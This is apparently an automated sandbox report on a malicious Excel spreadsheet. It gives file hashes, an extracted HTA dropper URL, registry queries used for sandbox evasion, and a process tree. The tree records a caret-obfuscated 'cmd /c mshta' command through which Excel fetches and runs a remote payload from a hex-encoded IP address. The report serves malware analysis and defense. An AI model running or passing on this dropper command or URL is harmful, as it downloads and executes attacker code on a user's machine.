Analysis
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max time kernel
131s -
max time network
136s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
20-01-2022 19:58
Behavioral task
behavioral1
Sample
7d3d594c05fa0fb042254c0eea69c93a740d792b77162f0f35f1b1e27e13c9f9.xls
Resource
win10-en-20211208
windows10_x64
0 signatures
0 seconds
General
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Target
7d3d594c05fa0fb042254c0eea69c93a740d792b77162f0f35f1b1e27e13c9f9.xls
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Size
141KB
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MD5
2ac4ff27a56fa6f694dfbe016b3b5a94
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SHA1
7de26753f23cc2aaf457eeeffc2d5703ffce8c53
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SHA256
7d3d594c05fa0fb042254c0eea69c93a740d792b77162f0f35f1b1e27e13c9f9
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SHA512
e6e6405d26088e3854674ab4f315a18a0b55fdc3874ebf09b29abb754c342b9eb9c5d0800d124000f9f8e27b45d67368c43b3d047c6819e64d17cc3f023012ee
Score
10/10
Malware Config
Extracted
Language
hta
Source
URLs
hta.dropper
http://0xb907d607/fer/fer.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2696 3956 cmd.exe 67 -
Blocklisted process makes network request 1 IoCs
flow pid Process 43 3064 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3956 EXCEL.EXE -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3956 EXCEL.EXE 3956 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3956 EXCEL.EXE 3956 EXCEL.EXE 3956 EXCEL.EXE 3956 EXCEL.EXE 3956 EXCEL.EXE 3956 EXCEL.EXE 3956 EXCEL.EXE 3956 EXCEL.EXE 3956 EXCEL.EXE 3956 EXCEL.EXE 3956 EXCEL.EXE 3956 EXCEL.EXE 3956 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3956 wrote to memory of 2064 3956 EXCEL.EXE 69 PID 3956 wrote to memory of 2064 3956 EXCEL.EXE 69 PID 3956 wrote to memory of 2696 3956 EXCEL.EXE 71 PID 3956 wrote to memory of 2696 3956 EXCEL.EXE 71 PID 2696 wrote to memory of 3064 2696 cmd.exe 73 PID 2696 wrote to memory of 3064 2696 cmd.exe 73
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7d3d594c05fa0fb042254c0eea69c93a740d792b77162f0f35f1b1e27e13c9f9.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3956 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2064
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fer.html3⤵
- Blocklisted process makes network request
PID:3064
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